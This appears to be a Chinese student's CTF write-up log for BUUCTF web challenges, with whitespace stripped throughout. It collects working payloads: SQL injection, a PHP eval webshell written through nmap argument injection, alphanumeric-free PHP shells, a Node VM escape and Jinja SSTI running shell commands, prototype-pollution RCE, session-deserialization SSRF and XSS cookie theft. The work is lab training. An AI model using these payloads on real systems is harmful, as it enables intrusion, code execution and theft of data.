目标是在这个寒假刷完buu30记录一些在刷题过程中,发现的一些有趣的题目
select*fromuserswhereusername=‘$_POST["username"]‘andpassword=‘$_POST["password"]‘;显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
username=admin\password=or1#数据库查询语句事实上变成了这样:
select*fromuserswhereusername=‘admin\‘andpassword=‘or1#‘;(忘记哪题了)
if((string)$_POST['param1']!==(string)$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){die("success!);}param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){die("success!");}param1[]=QNKCDZO¶m2[]=240610708
altertablewordsrenametoword;将words表重命名为wordaltertable`1919810931114514`renametowords;将1919810931114514表重命名为wordsaltertablewordschangeflagdatavarchar(100);将表words(原表1919810931114514)中的列名flag改为dataaltertablewordsaddcolumnidint(10)default1--+在words表中插入id列预处理语句使用方式:
PREPAREnamefrom'[mysqlsequece]';//预定义SQL语句EXECUTEname;//执行预定义SQL语句(DEALLOCATE||DROP)PREPAREname;//删除预定义SQL语句预定义语句也可以通过变量进行传递:
SET@tn='hahaha';//存储表名SET@sql=concat('select*from',@tn);//存储SQL语句PREPAREnamefrom@sql;//预定义SQL语句EXECUTEname;//执行预定义SQL语句(DEALLOCATE||DROP)PREPAREsqla;//删除预定义SQL语句payload:
1';PREPAREjwtfromconcat(char(115,101,108,101,99,116),'*from`1919810931114514`');EXECUTEjwt;#1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepareexecsqlfrom@a;executeexecsql;#1';SET@sql=concat(char(115,101,108,101,99,116),"*from`1919810931114514`");PREPAREsqlafrom@sql;EXECUTEsqla;#[SUCTF2019]EasySQL1.尝试`‘’‘)))')")'))")),找不到字符型注入点
2.输入不等于0的数字返回1;输入过滤了的字符返回Nonono;输入其他字符空白无显示;
3.尝试堆叠注入,1;showtables;#时返回如下:
Array([0]=>1)Array([0]=>Flag)
推测其执行语句为selectGET['query']||flagfromFlag
4.flag被过滤(还有好多都被过滤了哈)
1.利用php字符串解析特性绕过WAF
2.var_dump(scandir(chr(47))),查看根目录(\的ascii为47)
发现[7]=>string(5)"f1agg"
3.file_get_contents()读取文件num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
session是浏览器与服务器交互的会话,这个session可以来验证访问者的身份,大多数的session都是保存在服务器的,但是也有少部分是客户端session,比如flask框架。,flask是一个python轻量级web框架,他的session存储在客户端的cookie字段中在该题就是要伪造session,欺骗服务器,假装自己就是admin
伪造session,需要用来签名的SECRET_KEY,可以在config.py里找到为ckj123
这里首先要随便注册一个账号,得到session
这里将name的值改为admin
登入后页面修改伪造的session得到flag
POST:welcometothezjctf
ps:这里是file=useless.php而不是file=php://filter/convert.base64-encode/resource=useless.php因为我们要include的是这个页面,不是它的Base64化的源码php://filter/convert.base64-encode/resource=useless.php的作用是读取useless.php页面的源码(经过bae64)
linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。maps记录一些调用的扩展或者自定义so文件environ环境变量comm当前进程运行的程序cmdline程序运行的绝对路径cpusetdocker环境可以看machineIDcgroupdocker环境下全是machineID不太常用[BJDCTF2020]EasySearchssi注入
直接执行服务器上的各种程序<#exec>
知识点:
payload1:
'-iL/flag-oNflag.txt'-iL从inputfilename文件中读取扫描的目标。
-oN把扫描结果重定向到一个可读的文件logfilename中。
escapeshellarg—把字符串转码为可以在shell命令里使用的参数
功能:escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,shell函数包含exec(),system()执行运算符(反引号)
escapeshellcmd—shell元字符转义
反斜线(\)会在以下字符之前插入:`|*~<>^()[]{}$,\x0A和*\xFF*。’和“仅在不配对儿的时候被转义。在Windows平台上,所有这些字符以及%和!字符都会被空格代替。
详细分析一下这个过程:
传入的参数是
127.0.0.1'-v-da=1由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
'127.0.0.1'\''-v-da=1'经过escapeshellcmd针对第二步处理之后的参数中的\以及a=1'中的单引号进行处理转义之后的效果如下所示:
'127.0.0.1'\\''-v-da=1\'由于第三步处理之后的payload中的\\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分
所以这个payload可以简化为curl127.0.0.1\-v-da=1',即向127.0.0.1\发起请求,POST数据为a=1'。
因为过滤了php,可以用phtml绕过,里面的内容用短标签
host='<=eval($_GET[a]);>-oGflag.phtml'先进过escapeshellarg函数变为
''\''<=@eval($_POST["hack"]);>-oGflag.phtml'\'''1再经过escapeshellcmd函数变为
''\\''\<\=@eval($_POST["hack"]);\\>-oGflag.phtml'\\'''1可以发现单引号已经全部闭合
可以看成
\\<=@eval($_POST["hack"]);>-oGflag.phtml\\[极客大挑战2019]RCEME无字母数字绕过
code=$_="`{{{"^"<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[a])蚁剑链接无权限读取readflag
将github中一下两个文件上传有有权限的目录,在这里选择/tmp
code=$_="`{{{"^"<>/";${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include('/tmp/bypass_disablefunc.php');&cmd=../../../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.so[FBCTF2019]RCEServicepreg_match正则最大回溯绕过+换行绕过
importrequestsurl="xxxxxx"payload='{"cmd":"/bin/cat/home/rceservice/flag","test":"'+"a"*(1000000)+'"}'res=requests.post(url,data={"cmd":payload})print(res.text)payload2:
cmd={%0A"cmd":"/bin/cat/home/rceservice/flag"%0A}这里cat的路径要写/bin/cat是因为通过查看源代码:putenv('PATH=/home/rceservice/jail');,可以发现jail应用于当前环境,cat不在当前配置的环境变量中,需要我们自行写完整路径
SSRF最基础的漏洞场景
倘若没有对image参数进行任何的检测,就可以构造其他的请求
知识点:basename()函数的使用
Withthedefaultlocalesetting"C",basename()dropsnon-ASCII-charsatthebeginningofafilename.
该函数会去掉文件名开头的非ASCII值(%80---%ff)
题目的关键代码其实只有上半部分
即/index.php/config.php运行的是index.php,但是basename()获取到的是config.php,然后再通过source读取
paylaod:
/index.php/config.php/%80source
完全考在了知识盲区,跟着wp复现了一遍
如果GET后面跟路径的话,可以直接获取文件或目录内容
GET/etc/passwd
GET/读取根目录
Perl语言的open函数
在Perl中可以用open或者sysopen函数来打开文件进行操作,这两个函数都需要通过一个文件句柄(即文件指针)来对文件进行读写定位等操作
1:读:open(文件句柄,"<文件名")/open(文件句柄,"文件名"),前提文件必须已经存在,否则会返回0,出错信息在$!中。2:写:open(文件句柄,">文件名"),文件如果不存在,那么创建之,如果存在,内容被清空,长度截为0,$!中有出错信息。
root@npfs:~/test#cata.plopen(FD,"|id");print
GET’file:id|'touch'id|'GET’file:id|'uid=0(root)gid=0(root)groups=0(root)在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
payload:
首先得满足前面的文件存在,才会继续到open语句,所以在执行命令前得保证有相应的同名文件:url=(任意)&filename=bash-c/readflag|先新建一个名为“bash-c/readflag|”的文件url=file:bash-c/readflag|&filename=aaa再利用GET执行bash-c/readflag保存到aaa文件访问sandbox/md5/aaa(得到flag)其实如果对于这个open不理解的化=话还有更简单的做法,直接在自己的vps根目录下写一个木马文件
1.txt
蚁剑连接即可
感觉挺复杂的一题
1.无数字字母shell
2.利用.htaccess上传文件
3.绕过open_basedir
题目源码
首先判断是否从GET方法获取"_"参数的值
然后通过strlen()函数对GET方法对该值进行长度检测,如果字符串长度大于18就拦截信息
接下来通过preg_match()正则过滤该值中的敏感字符,这个正则表达式非常严谨,过滤了绝大部分的可写字符
最后通过count_chars()函数来限制该值中不同字符的个数
很明显需要我们通过eval调用get_the_flag函数,然后上传bypass文件,最后拿到shell拿到flag。
Payload:${xxxx^xxxx}{x}();&x=...,转换后就变成了$_GET[x]();&x=...
放几个有用的脚本
//判断保留字
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
第二关
首先对文件后缀进行正则检查,如果文件后缀是以"ph"开头,则不通过检测.
然后对文件内容进行检查,如果文件内容中出现"<"这个部分,则不通过检测.
最后通过exif_imagetype()函数对文件类型进行检查,如果文件不是一张图片,则不通过检测.
PHP版本是PHP7.2,所以这种写法已无法使用.要想绕过"<"的检测,必须对文件内容进行编码(比如base64)再上传.
找到一种能够同时满足图片文件.PHP文件,.htaccess文件的文件格式.要满足PHP文件和配置文件的格式,就需要添加文件的"不解析行"了(比如注释行)
X-Bitmap(XBM)是一种古老但通用的图像文件格式,它与现在的许多Web浏览器都兼容.X-Windows图形界面(UNIX和Linux常用的GUI)的C代码库xlib中有一个组件专门描述了它的规范.
XBM文件头是通过两行#define定义的,而这种定义方式刚好在php文件和.htaccess文件中代表注释
bypassopen_basedir
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
sys数据库中的以下三个视图中存储了表名table_name:
2.无列名注入
在这里用到的是逐字符检索数据法
mysql>select(select1,'c')>(select*fromuserslimit0,1);+------------------------------------------------------------+|(select1,'c')>(select*fromuserslimit0,1)|+------------------------------------------------------------+|0|+------------------------------------------------------------+mysql>select(select1,'d')>(select*fromuserslimit0,1);+------------------------------------------------------------+|(select1,'d')>(select*fromuserslimit0,1)|+------------------------------------------------------------+|1|+------------------------------------------------------------+//说明第二个字段的第一位是c,以此类推paylaod:
1.反弹shell
在linux系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用rm-fflag.txt)删除之后,在/proc这个进程的pid目录下的fd文件描述符目录下还是会有这个文件的fd,通过这个我们即可得到被删除文件的内容。
考察点:phar反序列化
1.文件包含
去掉url拼接的.y1ng.txt
sprintf输出格式问题
sprintf("$urlmethod&content_size:$method%d",$detect)我们可以知道%d前面还有一个可以控制的变量,也就是我们传入的q3。经过了解,我们知道在sprintf这里面%才是转义字符,我们可以传入POST%s%最后把%d给取消转义。达到绕过效果
还有一种方法%1$s——这种办法原理是%1$s会将第一个参数用string类型输出,这道题中第一个参数便是admin.php的源码
payload:
3.session伪造
X-Forwarded-For:127.0.0.1
$decr===$cipher
第一个要求很容易满足,我们看第二个,需要传入变量decrypt,使其强等于aesEn($data,‘y1ng‘);的加密结果在该加密算法中存在的唯一变量是$data,而$data=$_SESSION[‘secret‘];,我们看代码最后面,可以知道$_SESSION[‘secret‘];是由伪随机数长度加密得到的。
但是假如我们另session为空,那么自然而然就不存在$_SESSION[‘secret‘];,这个时候aesEn加密得到的值就是固定的
知识点
1.json转义字符绕过
\uXXXX可以在JSON中转义字符,例如A,\u0041等效
2.伪协议读取
由于$content中不能存在/HarekazeCTF\{.+\}/i类似内容,所有我们可以对content进行base64加密,这里用到了php://filter伪协议
{"page":"php://filter/convert.base64-encode/resource=/flag"}
不知道什么原因页面回显极慢,没做,记录下原理
linux进程管理之打开的每个进程的链接
/proc/pid/cmdline包含了用于开始进程的命令;/proc/pid/cwd包含了当前进程工作目录的一个链接;/proc/pid/environ包含了可用进程环境变量的列表;/proc/pid/exe包含了正在进程中运行的程序链接;/proc/pid/fd/这个目录包含了进程打开的每一个文件的链接;/proc/pid/mem包含了进程在内存中的内容;/proc/pid/stat包含了进程的状态信息;/proc/pid/statm包含了进程的内存使用信息。预期解的话基本上解法和[V&N2020公开赛]CHECKIN一模一样,由于不知道什么原因,一直报WrongKey!,题目没有进行下去,这里就不多加赘述
paylaod:/pageurl=../../../../proc/self/fd/3,这里的/proc/self也是一个链接文件,当进程访问此链接时,就会访问这个进程本身的/proc/pid目录,从而得到secret_key,之后反弹shell即可,flag在根目录,可以直接cat/flag
非预期解
url=../../../../../../flag
1.js中.可以用[]代替.(点号)2.``反引号代替双引号TypeError.prototype==TypeError[`\xxx\xxx\xxx\xxx`]3.占位符来拼接字符串比如这里prototype被过滤了,我们可以这样书写`${`${`prototyp`}e`}`js测试的话可以用Error().stack直接查看报错信息,还能获取更多的信息
(function(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`]=f=>f[`${`${`constructo`}r`}`](`${`${`returnproc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a=1;}catch(e){returne[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat/flag`).toString();}})()payload2
join拼接字符串
题目没有什么难度,不过也给我提了一个醒。以前看到Js文件一般都是直接跳过,,以后要对Js文件多加留意
因为回自动跳转到/die/,用burpsuite抓包,总流程如下
/-->/chase-->/leftt-->/shoot-->/door-->/static/js/door.js-->/open-->/static/js/open_sesame.js-->/fight-->/static/js/fight.js得到如下
//Runtoscrambleoriginalflag//console.log(scramble(flag,action));functionscramble(flag,key){for(vari=0;i 知识点:ThinkPHP6.0任意文件创建 select*fromtablelimit2offset1; //含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条 解法一: WelcomeToFindSecret Tellmeyoursecret.Iwillencryptitsootherscan'tsee 输个大一点的secret值时,发现报错比如secret=11111 这个页面是flask应用开启了调试模式后运行错误的表现 这段代码的意思是不存在变量secret时,返回Tellmeyoursecret.Iwillencryptitsootherscan'tsee 否则对secret的值进行RC4加密,密钥为HereIsTreasure,再经由过程render_template_string履行 想到SSTI模板注入 注意下,这里的ciscn起过滤作用,只不过在buuctf的flag中没有ciscn字样所以该过滤没有起应有的作用 这里我们需要对RC4加密由一个大致的了解,RC4加密算法为对称加密算法,即明文经加密后得到密文,密文经加密后得到明文,就比如在这个页面secret=1页面返回d,而secret=d页面返回1 我们可以对poc进行RC4加密,加密脚本网上很多 {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat/flag.txt').read()")}}////我们需要的是经RC4加密后再经过url编码过的(因为RC4加密后有不可见字符,所有进行url编码).%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%AD%40%C2%8F%C3%94%C3%9F%231%C2%82%13%C2%AB%C2%B4RS%5D%C3%90mS%C2%A88D%C3%8B%C3%BE%01V%C3%B7%C2%95%15%C2%A9v%05%03%0A%C3%92%08%C3%A4%06%C3%A2i%C2%9AdM78V%C2%B0%C3%A9%1C%C2%85%C2%8D%C3%A1%C3%82%C3%B8%C2%80%C3%AAgu%C3%90%C3%85%C2%8D%C2%88%C3%A6wV%C3%A8%C2%96A%C2%BB%1D%1C%5D%C3%9A%C2%96%0D%7Ek%5Cj%C3%8C%C3%AD%C2%95j8%C2%AF%22%17U%C2%9Ef%C2%9C%08%C2%85%C3%96%C3%AB3%C3%AA%C3%A4%1C%27%C3%B8%C3%9A.%C2%87%24%04%11p%C3%87%C2%92解法二: 这个页面是flask应用开启了调试模式后运行错误的表现,在较旧版本的flask中可以直接在这个页面中打开python控制台运行代码,而在较新的版本中的flask中要打开python控制台需要输入一个pin码,如下: pin码会在服务器端运行flask应用时输出,其格式为“xxx-xxx-xxx”,其中x为任意一个数字,表示pin有10亿种组合。作为攻击者,我们目前是不知道pin编码的,除非你有耐性进行爆破,实际上爆破也是可行的,因为在固定的机器上,pin码是固定的 需要六个数据来计算PIN码1.username,读/etc/passwd,本题为glzjin2.modulename一般固定为flask.app3.getattr(app,"\_\_name\_\_",app.\_\_class\_\_.\_\_name\_\_)的结果。就是Flask4.flask库下app.py的绝对路径,不是当前运行的app.py的路径,在debug模式下报错就能直接看见,该题为/usr/local/lib/python2.7/site-packages/flask/app.pyc5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡,如果有多个网卡数字可能会变,'class'isnotallowed.Secretis02:42:ac:10:a6:56这里为02:42:ac:10:a6:56,>>>print(0x0242ac10a656)2485377869398转十进制为24853778693986.机器的id对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup,序列号为1那行1:name=systemd:/docker/73e631540828d92c2d71a634670c201fa81ff3ea9790ce454d630df7d27e994e至此,所有参数获取完毕,输入有效载荷计算密码: [GYCTF2020]FlaskApp同意可以用求PIN的方法求flag 一.SoapClient SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscoveryandIntegration))之一:WSDL用来描述如何访问具体的接口,UDDI用来管理,分发,查询webService,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。SoapClient类可以创建soap数据报文,与wsdl接口进行交互。 第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。 简单的用法 二.CRLFInjection漏洞 首先要对HTTPheaders和HTTPbody要有一些基本的了解,如图,它们之前用空行区分 call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。 先传入extract(),将$b覆盖成回调函数,这样题目中的call_user_func($b,$a)就可以变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)),即调用SoapClient类不存在的welcome_to_the_lctf2018方法,从而触发__call方法发起soap请求进行SSRF。 四.PHPsession反序列化 我们先通过一个样例代码,看看3种不同的session序列化处理器处理session的情况。 当session.serialize_handler=php_serialize时,session文件为:a:1:{s:4:"name";s:7:"mochazz";} 当session.serialize_handler=php_binary时,session文件内容为:二进制字符names:7:"mochazz"; 而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞 php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入 $_SESSION[‘name’]=‘|username‘那么使用php_serialize引擎时可以得到序列化内容 a:1:{s:4:”name”;s:4:”|username”;}然后用php引擎反序列化时,|被当做分隔符,于是 a:1:{s:4:”name”;s:4:”被当作key username被当做vaule进行反序列化 于是,我们只要传入 $_SESSION[‘name’]=|序列化内容即可触发漏洞 知识点就讲到这里,接下去来分析一下题目 第一步:由于PHP中的原生SoapClient类存在CRLF漏洞,所以我们可以伪造任意header,构造SoapClient类,并用php_serialize引擎进行序列化,存入session PHP7中session_start()函数可以接收一个数组作为参数,可以覆盖php.ini中session的配置项。这个特性也引入了一个新的php.ini设置(session.lazy_write) 我们可以利用回调函数,通过给f传参,值为session_start,然后post提交array('serialize_handler'=>'php_serialize') 即达到session_start(array('serialize_handler'=>'php_serialize')),将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp 第二步:通过变量覆盖,调用SoapClient类,从而触发__call方法 传值f=extract&name=SoapClientPOST:b=call_user_func.这样call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)),即调用SoapClient类不存在的welcome_to_the_lctf2018方法,从而触发__call方法发起soap请求进行SSRF。 第三步:将PHPSESSID改为我们在SoapClient类里设置的123456即可得到flag 知识点:Ruby/erb模板注入 测试:在点击work的时候抓包,将cookie:auth=xxx,进行jwt解码 eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJiNjVhZWI1ZS1hM2Q2LTQzMDAtYWI3OS1hNzUwNDI0ODdhODgiLCJqa2wiOjMwfQ.4lbFDJBOCKb2t5cKmjl9TStBnCiFLV5AO4Nny90b67U"uid":"b65aeb5e-a3d6-4300-ab79-a75042487a88","jkl":30}确认思路,但是想要伪造jwt需要密钥SECRET robots.txt下发现路径,访问得到源码 重点看/work get"/work"doisloginauth=JWT.decodecookies[:auth],ENV["SECRET"],true,{algorithm:'HS256'}auth=auth[0]unlessparams[:SECRET].nilifENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")putsENV["FLAG"]endend//可以看出,cookie是需要ENV["SECRET"]作为签名得到的。因此我们如果能得到每次work后的ENV["SECRET"],就可以伪造cookie了!这段代码的后半部分说明了,在ERB模版渲染以前有一个正则匹配。如果SECRET参数存在的话,就对其进行匹配,并用传入的值与ENV["SECRET"]进行匹配,匹配成功就会输出FLAGifparams[:do]=="#{params[:name][0,7]}isworking"thenauth["jkl"]=auth["jkl"].to_i+SecureRandom.random_number(10)auth=JWT.encodeauth,ENV["SECRET"],'HS256'cookies[:auth]=authERB::new("").resultendend当params[:do]=="#{params[:name][0,7]}isworking",secret会在auth显示 所有我们要做的就是另params[:do]=="#{params[:name][0,7]}isworking" 这里有一串代码ERB::new("").result为ERb模板,还直接把可控参数name拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。比如name=<%=1%>,就会得1。 erb得模板注入形式如下 <%=7*7%><%=File.open('/etc/passwd').read%>但是题目只给了我们七个可控字符,除去这五个必要得字符,我们只能剩下2个字符可控 这里用到ruby全局变量 这里既然有匹配,那说明我们就可以用全局变量读出来了,也就是可以用上图的符号来读取匹配前的内容(即ENV["SECRET"]) 因此我们可以构造,再进行url编码后传入。 name=<%=$'%>&do=<%=$'%>isworking&SECRET= name=%3C%25=$'%25%3E&do=%3C%25=$'%25%3E%20is%20working&SECRET= 得到 题目不难,不过第一次遇到这种题型记录一下。 一开始进去,发现这仿佛是一个静态的网页,没有传参没有交互。扫目录也没有任何信息泄露,入口都找不到咋做题…通过百度知道存在隐藏参数,这里用到一个隐藏参数查找的工具Arjun 通过工具,知道有参数name 接下去就是常规模板注入了 学到了利用CTRL+F知道可利用类位置的小方法 {{''.__class__.__mro__[1].__subclasses__()[182].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat/flag').read()")}}或者直接使用tplmap工具 ell** 先看看源码,发现提示为如下内容 username/passworderror非预期:利用逻辑漏洞,传参pass=(响应包中的Hash值) 预期解:通过hashpump猜测secret长度,可以手工也可以脚本 这里可以用php7.0的bug include.phpfile=php://filter/string.strip_tags/resource=/etc/passwd使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmpfile就会一直留在tmp目录,再进行文件名爆破就可以getshell 这里讲下在不知道dir.php路径的前提下对文件名的爆破方法.tmpfile的文件名是有规律的,都叫/tmp/php再加上6位的大小写字母加上数字的随机组合,这个爆破量比较大,但是是可行的,贴个exp ThinkPHP上传默认路径是/home/index/upload ThinkPHPupload()多文件上传: ThinkPHP上传文件名爆破 $upload->allowExts=array('jpg','gif','png','jpeg');//设置附件上传类型但是$upload->allowExts并不是Think\Upload类的正确用法,所以allowexts后缀名限制是无效的,所有说我们只需绕过后缀不能为.php的限制 然后怎么绕过对文件名不能为.php的限制呢?这里要用到的知识点为think\upload类的多文件上传与think\upload类是怎么生成文件名的 think\upload类的多文件上传tp多文件上传 upload()函数不传参时为多文件上传,整个$_FILES数组的文件都会上传并保存。 think\upload类是怎么生成文件名的 从官方手册上可以查找到 $upload->saveName=array('uniqid',''); 默认的命名规则设置是采用uniqid函数生成一个唯一的字符串序列。 得到文件名之后,访问连接即可得到flag,本来还以为要命令执行的 看了大师傅的WP发现还有个非预期解,用shell.<>php来绕过对php后缀的限制 获取源码 在主页的源码下方有一个开发人员留的信息,可知网站的源码已经被上传的github上面了。 而网站源码的名称就是网页页脚的wowouploadimage,github搜索这个名称,即可找到源码。 SQL注入=>反序列化=>读取Flag 在图片上传处,check函数并未对文件名(title)进行检测,直接传递到最后的SQL语句当中。导致了SQL注入,并且属于Insert注入。 审计代码后可知,图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化。 我们需要通过SQL注入修改保存的信息中的序列化的值来利用。 在helper.php中的helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag。 构造payload 反序列化payload生成: O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}这里的属性值ifview和config都是protected类型的,所以需要将payload修改为: O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。) 正常上传图片的sql语句为: INSERTINTOimages(`title`,`filename`,`ext`,`path`,`attr`)VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')由于title处是我们能够控制的,所以构造文件名如下: 1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg因为上传的文件名中不能有双引号,所以将payload进行16进制编码。 使用Brupsuite将上传的filename修改为构造的文件名上传,再访问show.php即可得到flag。 和以前做的入门题秋名山车神神似,直接放脚本 原型链的污染主要和两个函数有关 merge()clone() 常用源码如下,可以看出clone与merge并无本质区别: constmerge=(a,b)=>{for(varattrinb){if(isObject(a[attr])&&isObject(b[attr])){merge(a[attr],b[attr]);}else{a[attr]=b[attr];}}returna}constclone=(a)=>{returnmerge({},a);}本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考: functionmerge(target,source){for(letkeyinsource){if(keyinsource&&keyintarget){merge(target[key],source[key])}else{target[key]=source[key]}}}尝试把第二个键名设为__proto__并赋值b为2。看看能不能把object的属性b改为2。 污染失败 可以看见最后 o3.b返回的是 undefined,并没有污染成功。 主要原因就是因为 __proto__没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时: leto1={}leto2=JSON.parse('{"a":1,"__proto__":{"b":2}}')merge(o1,o2)console.log(o1.a,o1.b)o3={}console.log(o3.b)如果存在JSON.parse(),就能成功把__proto__解析成键名了。 污染成功 javascript的大小写绕过 "".toUpperCase()=='I'"".toUpperCase()=='S'"".toLowerCase()=='k' 知识点就讲到这里,接下去分析下题目 www.zip泄露,下载下来,通过分析(主要代码在index.js),可以很容易的发现存在clone()和merge()函数,猜测为nodejs原型链污染,接下去要做的就是找可以被污染的参数的 先分析下几个主要的路由 //需要将content-type改为application/json{"lua":"a","__proto__":{"outputFunctionName":"a=1;returnglobal.process.mainModule.constructor._load('child_process').execSync('cat/flag')//"},"Submit":""}到/info路径,下载得到flag文件 拿到题目,随便注册下,有两个页面投稿和审核,通过扫目录可以发现还有一个admin.php路径 思路是通过投稿恶意XSS,然后点击审核,管理员就会来到我们的页面,审核我们的投稿这样的话我们可以构造恶意代码,让管理员进去,从而窃取管理员的cookie,进入后台为所欲为 平台会自动帮我们生成xss代码,自己可以研究一下那一摞代码都是干嘛的,很有意思哟OK,我们回到投稿页面,来一个最简单的脚本实验一下 提示我们上传成功,查看下上传文件源代码 通过csp我们可以制定一系列的策略,从而只允许我们页面向我们允许的域名发起跨域请求,而不符合我们策略的恶意攻击则被挡在门外 它开启了'unsafe-eval',所以我们可以用eval来执行我们的代码 所以,我们的payload为 我们替换的作为字符引用需要用外部元素进行解析,而恰好就为外部元素 接下去将题目,在我们将payload投稿之后,到审查页面,验证码需要md5爆破,老套路了 -1unionselect1,flagg,3fromflag# username和password是用json格式发送的,并且会返回一段信息。先测试有没有注入点:我们尝试在username后使用",发现报错了 使用#闭合,发现返回200 经过简单的手动fuzz之后发现没有办法进行联合查询(因为没有回显)和有Boolean回显的盲注,我猜可能是服务器全给WAF掉了,一般这种情况下可以考虑以下堆叠注入,所以我修改username为123';,结果发现回显正常: 这样一来,可以推测拼接到服务器端的SQL语句就是: select*from{table_name}whereusername='123';'andpassword='123'因为;号表示一个SQL语句的结束,;号后面的一个'号被认为是下一个SQL语句的开始,所以没有产生报错,也就是说,这个题目是存在堆叠注入的(;号被解析了) 大佬写的脚本 glzjin_wants_a_girl_friend.zip 下载得到源码,本来以为注入出来就是flag 审计,代码很简单 总的流程为,通过UserController类中的actionIndex方法,把$_REQUEST这个数组赋值给了$listData,然后传入了loadView方法 而loadView方法恰好为BaseController类中loadView方法的第二参数,这个第二参数进行了变量覆盖,而第一个参数进行一下路径的拼接得到一个php文件,然后直接包含该文件,因为传入loadView方法的第一个参数是userIndex,所以我们跟进userIndex.php 所以我们传参img_file=../../../flag.php 还有注意下r变量的值为user/Index,原因如下代码,会将r参数的值按/进行分割,拼接,我们利用变量覆盖函数对应的控制器为userController,所以传参r=user/Index r=User/Index&img_file=../../flag.php 知识点:FILEINFO+getimagesize 看下源码,主要部分在upload.php 首先判断文件大小,并使用FILEINFO判断上传图片类型,上传图片只能是png类型后面再用getimagesize判断文件像素大小,并且再进行一次类型判断,如果不是png类型就给出flag 在这两种判断上传图片类型的函数中,有一个很有趣的现象,FILEINFO可以识别png图片(十六进制下)的第一行,而getimagesize不可以 所以我们上传的文件内容如下 上传即可得到flag 